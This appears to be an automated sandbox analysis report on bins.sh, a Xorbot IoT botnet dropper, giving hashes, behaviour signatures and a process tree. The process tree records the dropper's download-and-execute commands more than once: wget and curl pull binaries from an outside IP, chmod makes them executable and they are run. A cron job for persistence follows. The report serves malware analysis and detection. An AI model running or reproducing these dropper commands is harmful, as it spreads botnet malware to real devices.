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Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/01/2025, 00:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bd5b644e3bb808ff83c31f13c074f8b

  • SHA1

    9a6de7913518402e115726bc43dc8a0a503d07e1

  • SHA256

    b469f15b998e545a6b231632b65df6917f1078b4b7ec50923f77f1b6e1853bbb

  • SHA512

    d6b5b2d4ddd402da0a608ab982887cb1d8542fd1ba6c11b0930acd1bdc07f3d0ec292e535603f3ee66b849bbb2a06393faebcec78ced022841f3fb9530ff4b25

  • SSDEEP

    192:gR9zqKBlQMuRhoxHicMs5lkkTZcMs5lRR9zqKBUQMuRhD:E3QMuRhoxHicMs5lkkTZcMs5ljaQMuRt

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2062) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:1492
        • /bin/chmod
          chmod 777 gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • File and Directory Permissions Modification
          PID:1493
        • /tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          ./gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Executes dropped EXE
          PID:1494
        • /bin/rm
          rm gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
            PID:1496
          • /usr/bin/wget
            wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:1498
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:1499
          • /bin/chmod
            chmod 777 rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • File and Directory Permissions Modification
            PID:1500
          • /tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            ./rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Executes dropped EXE
            PID:1501
          • /bin/rm
            rm rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
              PID:1503
            • /usr/bin/wget
              wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:1504
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:1505
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:1506
            • /bin/chmod
              chmod 777 wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • File and Directory Permissions Modification
              PID:1507
            • /tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              ./wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Executes dropped EXE
              PID:1508
            • /bin/rm
              rm wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
                PID:1510
              • /usr/bin/wget
                wget http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:1511
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:1512
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:1513
              • /bin/chmod
                chmod 777 FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • File and Directory Permissions Modification
                PID:1514
              • /tmp/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                ./FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Executes dropped EXE
                PID:1515
              • /bin/rm
                rm FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                  PID:1517
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:1518
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:1519
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:1520
                • /bin/chmod
                  chmod 777 CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1521
                • /tmp/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  ./CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1522
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1524
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1525
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1526
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1527
                      • /bin/rm
                        rm CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                        2⤵
                          PID:1529
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                          2⤵
                            PID:1532

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /var/spool/cron/crontabs/tmp.SBAM3e

                          Filesize

                          210B

                          MD5

                          000ae798c61c320685015e428330322a

                          SHA1

                          d85804dac958eec699097f3caf017e76684330c3

                          SHA256

                          924ea317418cb7eb71a6119d5bcf7bbc23c602a9ef567dc47304bd0fb4d530c6

                          SHA512

                          ded0a7a9203fc326bfc03addbe5d409315e6ef0c36047219487c465d3376abd673a713305efcd94e1fcd6587b9926f8005c3faa8bcb7e1e6b217a3fe8d1eb29a